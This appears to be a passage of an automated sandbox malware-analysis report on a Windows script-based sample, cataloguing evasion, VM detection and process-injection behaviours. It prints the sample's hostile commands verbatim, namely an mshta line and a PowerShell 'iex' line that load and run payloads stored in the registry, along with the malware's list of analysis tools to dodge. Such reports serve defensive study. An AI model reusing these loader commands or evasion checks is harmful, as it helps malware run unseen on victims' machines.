Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\control.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

barindex
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: AUTORUNSC.EXE
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: EMUL.EXE
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: SBIECTRL.EXE
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: APISPY.EXE
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: $FAKEHTTPSERVER.EXE
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: REGMON.EXEIK
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: WINDBG.EXE
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: SBIESVC.EXE
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: SCKTOOL.EXE;HQ
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: IDAQ.EXET
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: IMPORTREC.EXE
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: IMUL.EXE.8
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: WINDUMP.EXE
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: Q?$SANDBOXIERPCSS.EXEV5
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: :FRIDA-WINJECTOR-HELPER-32.EXE
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: PEID.EXE#Z
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: SYSANALYZER.EXEA
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: PETOOLS.EXEJ
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: PROCMON.EXE
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: OLLYDBG.EXE
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: HOOKEXPLORER.EXE
Source: wscript.exe, 00000001.00000002.692916178.0000016FDC721000.00000004.00000001.sdmp Binary or memory string: RASP = ARRAY("FRIDA-WINJECTOR-HELPER-64.EXE","FRIDA-WINJECTOR-HELPER-32.EXE","PYTHONW.EXE","PYW.EXE","CMDVIRTH.EXE","ALIVE.EXE","FILEWATCHERSERVICE.EXE","NGVMSVC.EXE","SANDBOXIERPCSS.EXE","ANALYZER.EXE","FORTITRACER.EXE","NSVERCTL.EXE","SBIECTRL.EXE","ANGAR2.EXE","GOATCASPER.EXE","OLLYDBG.EXE","SBIESVC.EXE","APIMONITOR.EXE","GOATCLIENTAPP.EXE","PEID.EXE","SCANHOST.EXE","APISPY.EXE","HIEW32.EXE","PERL.EXE","SCKTOOL.EXE","APISPY32.EXE","HOOKANAAPP.EXE","PETOOLS.EXE","SDCLT.EXE","ASURA.EXE","HOOKEXPLORER.EXE","PEXPLORER.EXE","SFTDCC.EXE","AUTOREPGUI.EXE","HTTPLOG.EXE","PING.EXE","SHUTDOWNMON.EXE","AUTORUNS.EXE","ICESWORD.EXE","PR0C3XP.EXE","SNIFFHIT.EXE","AUTORUNSC.EXE","ICLICKER-RELEASE.EXE",".EXE","PRINCE.EXE","SNOOP.EXE","AUTOSCREENSHOTTER.EXE","IDAG.EXE","PROCANALYZER.EXE","SPKRMON.EXE","AVCTESTSUITE.EXE","IDAG64.EXE","PROCESSHACKER.EXE","SYSANALYZER.EXE","AVZ.EXE","IDAQ.EXE","PROCESSMEMDUMP.EXE","SYSER.EXE","BEHAVIORDUMPER.EXE","IMMUNITYDEBUGGER.EXE","PROCEXP.EXE","SYSTEMEXPLORER.EXE","BINDIFF.EXE","IMPORTREC.EXE","PROCEXP64.EXE","SYSTEMEXPLORERSERVICE.EXE","BTPTRAYICON.EXE","IMUL.EXE","PROCMON.EXE","SYTHON.EXE","CAPTUREBAT.EXE","I
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: NETSNIFFER.EXEK
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: AUTORUNS.EXE@
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: HOOKANAAPP.EXE
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: :FRIDA-WINJECTOR-HELPER-64.EXE
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: TCPDUMP.EXE
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: FILEMON.EXET
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: U.SANDBOXIEDCOMLAUNCH.EXE
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: A9$BEHAVIORDUMPER.EXEQ
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: IDAG.EXE:V
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: REGSHOT.EXE
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: DUMPCAP.EXE
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: WIRESHARK.EXE
Source: wscript.exe, 00000001.00000003.686457865.0000016FDC7EA000.00000004.00000001.sdmp Binary or memory string: FORTITRACER.EXEA
WScript reads language and country specific registry keys (likely country aware script)
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_CURRENT_USER\Control Panel\International\Geo Nation Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_CURRENT_USER\Control Panel\International\Geo Nation Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_CURRENT_USER\Control Panel\International\Geo Nation Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_CURRENT_USER\Control Panel\International\Geo Nation Jump to behavior
Contains capabilities to detect virtual machines
Source: C:\Windows\System32\control.exe File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4152 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 4845 Jump to behavior
Found dropped PE file which has not been started or loaded
Source: C:\Windows\System32\wscript.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\onerous.tar Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\5ya1ligq\5ya1ligq.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\zyvn03im\zyvn03im.dll Jump to dropped file
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\wscript.exe TID: 496 Thread sleep time: -30000s >= -30000s Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6280 Thread sleep time: -4611686018427385s >= -30000s Jump to behavior
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Source: C:\Windows\System32\wscript.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_ComputerSystem
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Source: C:\Windows\System32\wscript.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select * from Win32_Processor
Source: C:\Windows\System32\wscript.exe File Volume queried: C:\Users\user\AppData\Local FullSizeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe File Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation Jump to behavior
Source: C:\Windows\explorer.exe Code function: 34_2_04DA37B8 FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose, 34_2_04DA37B8
Source: C:\Windows\explorer.exe Code function: 34_2_04DC91A0 CreateFileA,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose, 34_2_04DC91A0
Source: explorer.exe, 00000022.00000000.905298980.000000000A897000.00000004.00000001.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlluser
Source: wscript.exe, 00000001.00000002.695335003.0000016FDFC20000.00000002.00000001.sdmp, explorer.exe, 00000022.00000002.1106865055.00000000058C0000.00000002.00000001.sdmp, RuntimeBroker.exe, 00000024.00000000.911812823.0000027D4F440000.00000002.00000001.sdmp Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000022.00000000.904206243.000000000A60E000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: RuntimeBroker.exe, 00000024.00000000.905498421.0000027D4C640000.00000004.00000001.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000022.00000000.904206243.000000000A60E000.00000004.00000001.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: RuntimeBroker.exe, 00000026.00000000.916592002.000001B4F862A000.00000004.00000001.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}ll
Source: explorer.exe, 00000022.00000000.916100771.000000000FDB8000.00000004.00000001.sdmp Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000022.00000000.898078750.0000000004710000.00000004.00000001.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000[Wm
Source: wscript.exe, 00000001.00000002.695335003.0000016FDFC20000.00000002.00000001.sdmp, explorer.exe, 00000022.00000002.1106865055.00000000058C0000.00000002.00000001.sdmp, RuntimeBroker.exe, 00000024.00000000.911812823.0000027D4F440000.00000002.00000001.sdmp Binary or memory string: A communication protocol error has occurred between the Hyper-V Host and Guest Compute Service.
Source: explorer.exe, 00000022.00000000.904712884.000000000A716000.00000004.00000001.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000/
Source: RuntimeBroker.exe, 00000024.00000000.909578698.0000027D4E75E000.00000004.00000001.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&1EC51BF7&0&000000
Source: wscript.exe, 00000001.00000002.695335003.0000016FDFC20000.00000002.00000001.sdmp, explorer.exe, 00000022.00000002.1106865055.00000000058C0000.00000002.00000001.sdmp, RuntimeBroker.exe, 00000024.00000000.911812823.0000027D4F440000.00000002.00000001.sdmp Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 00000022.00000000.904712884.000000000A716000.00000004.00000001.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@
Source: wscript.exe, 00000001.00000002.695335003.0000016FDFC20000.00000002.00000001.sdmp, explorer.exe, 00000022.00000002.1106865055.00000000058C0000.00000002.00000001.sdmp, RuntimeBroker.exe, 00000024.00000000.911812823.0000027D4F440000.00000002.00000001.sdmp Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging:

barindex
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

barindex
Benign windows process drops PE files
Source: C:\Windows\System32\wscript.exe File created: onerous.tar.1.dr Jump to dropped file
Allocates memory in foreign processes
Source: C:\Windows\explorer.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 27D4F3D0000 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 1B4FAC50000 protect: page execute and read and write
Source: C:\Windows\System32\control.exe Memory allocated: C:\Windows\System32\rundll32.exe base: 17896BA0000 protect: page execute and read and write
Changes memory attributes in foreign processes to executable or writable
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 protect: page execute read
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 protect: page execute read
Source: C:\Windows\explorer.exe Memory protected: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: unknown base: 7FFABD4F1580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: unknown base: 7FFABD4F1580 protect: page execute read
Source: C:\Windows\explorer.exe Memory protected: unknown base: 7FFABD4F1580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: unknown base: 7FFABD4F1580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: unknown base: 7FFABD4F1580 protect: page execute read
Source: C:\Windows\explorer.exe Memory protected: unknown base: 7FFABD4F1580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: unknown base: 7FFABD4F1580 protect: page execute and read and write
Source: C:\Windows\explorer.exe Memory protected: unknown base: 7FFABD4F1580 protect: page execute read
Source: C:\Windows\explorer.exe Memory protected: unknown base: 7FFABD4F1580 protect: page execute and read and write
Source: C:\Windows\System32\control.exe Memory protected: unknown base: 7FFABD4F1580 protect: page execute and read and write
Source: C:\Windows\System32\control.exe Memory protected: unknown base: 7FFABD4F1580 protect: page execute read
Source: C:\Windows\System32\control.exe Memory protected: unknown base: 7FFABD4F1580 protect: page execute and read and write
Compiles code for process injection (via .Net compiler)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File written: C:\Users\user\AppData\Local\Temp\zyvn03im\zyvn03im.0.cs Jump to dropped file
Creates a thread in another existing process (thread injection)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread created: C:\Windows\explorer.exe EIP: BD4F1580 Jump to behavior
Source: C:\Windows\explorer.exe Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: BD4F1580
Source: C:\Windows\explorer.exe Thread created: C:\Windows\System32\RuntimeBroker.exe EIP: BD4F1580
Source: C:\Windows\explorer.exe Thread created: unknown EIP: BD4F1580
Source: C:\Windows\explorer.exe Thread created: unknown EIP: BD4F1580
Source: C:\Windows\explorer.exe Thread created: unknown EIP: BD4F1580
Source: C:\Windows\System32\control.exe Thread created: unknown EIP: BD4F1580
Injects code into the Windows Explorer (explorer.exe)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3424 base: 9EC000 value: 00 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3424 base: 7FFABD4F1580 value: EB Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3424 base: 30F0000 value: 80 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3424 base: 7FFABD4F1580 value: 40 Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\explorer.exe Section loaded: unknown target: C:\Windows\System32\RuntimeBroker.exe protection: execute and read and write
Source: C:\Windows\explorer.exe Section loaded: unknown target: C:\Windows\System32\RuntimeBroker.exe protection: execute and read and write
Source: C:\Windows\explorer.exe Section loaded: unknown target: unknown protection: execute and read and write
Source: C:\Windows\explorer.exe Section loaded: unknown target: unknown protection: execute and read and write
Source: C:\Windows\explorer.exe Section loaded: unknown target: unknown protection: execute and read and write
Source: C:\Windows\System32\control.exe Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Windows\System32\control.exe Section loaded: unknown target: C:\Windows\System32\rundll32.exe protection: execute and read and write
Modifies the context of a thread in another process (thread injection)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread register set: target process: 3424 Jump to behavior
Source: C:\Windows\explorer.exe Thread register set: target process: 3656
Source: C:\Windows\explorer.exe Thread register set: target process: 4268
Source: C:\Windows\explorer.exe Thread register set: target process: 4772
Source: C:\Windows\explorer.exe Thread register set: target process: 6076
Source: C:\Windows\explorer.exe Thread register set: target process: 6408
Source: C:\Windows\System32\control.exe Thread register set: target process: 3424
Source: C:\Windows\System32\control.exe Thread register set: target process: 5220
Writes to foreign memory regions
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 9EC000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 7FFABD4F1580 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 30F0000 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 7FFABD4F1580 Jump to behavior
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 8C7CFF3000
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 27D4F3D0000
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7386883000
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 1B4FAC50000
Source: C:\Windows\explorer.exe Memory written: C:\Windows\System32\RuntimeBroker.exe base: 7FFABD4F1580
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\System32\rundll32.exe base: 7FF6E8DA5FD0
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\System32\rundll32.exe base: 17896BA0000
Source: C:\Windows\System32\control.exe Memory written: C:\Windows\System32\rundll32.exe base: 7FF6E8DA5FD0
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').basebapi)) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\5ya1ligq\5ya1ligq.cmdline' Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\zyvn03im\zyvn03im.cmdline' Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RESB088.tmp' 'c:\Users\user\AppData\Local\Temp\5ya1ligq\CSC6D2B83ED4FA544BDA58AEA85D7B55542.TMP'
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RESC75B.tmp' 'c:\Users\user\AppData\Local\Temp\zyvn03im\CSCD3BE44FE21F9438DABBEBC9691CFFC2.TMP'
Source: C:\Windows\System32\control.exe Process created: C:\Windows\System32\rundll32.exe 'C:\Windows\system32\rundll32.exe' Shell32.dll,Control_RunDLL -h
Source: C:\Windows\System32\cmd.exe Process created: unknown unknown
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: unknown Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\86EC23E5-2D5A-A875-E71A-B15C0BEE7550\\\Actidsrv'));if(!window.flag)close()</script>'
Source: explorer.exe, 00000022.00000002.1090747095.0000000000AD8000.00000004.00000020.sdmp Binary or memory string: ProgmanMD6
Source: explorer.exe, 00000022.00000002.1091744462.0000000001080000.00000002.00000001.sdmp, RuntimeBroker.exe, 00000024.00000002.1091914165.0000027D4CC60000.00000002.00000001.sdmp Binary or memory string: Program Manager
Source: explorer.exe, 00000022.00000002.1091744462.0000000001080000.00000002.00000001.sdmp, RuntimeBroker.exe, 00000024.00000002.1091914165.0000027D4CC60000.00000002.00000001.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000022.00000002.1091744462.0000000001080000.00000002.00000001.sdmp, RuntimeBroker.exe, 00000024.00000002.1091914165.0000027D4CC60000.00000002.00000001.sdmp Binary or memory string: Progman
Source: explorer.exe, 00000022.00000002.1091744462.0000000001080000.00000002.00000001.sdmp, RuntimeBroker.exe, 00000024.00000002.1091914165.0000027D4CC60000.00000002.00000001.sdmp Binary or memory string: Progmanlock
Source: explorer.exe, 00000022.00000000.904712884.000000000A716000.00000004.00000001.sdmp Binary or memory string: Shell_TrayWnd5D

Language, Device and Operating System Detection:

barindex
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\embezzle.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\embezzle.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\embezzle.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\embezzle.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\embezzle.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\embezzle.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\wscript.exe Queries volume information: C:\Users\user\AppData\Local\Temp\embezzle.zip VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
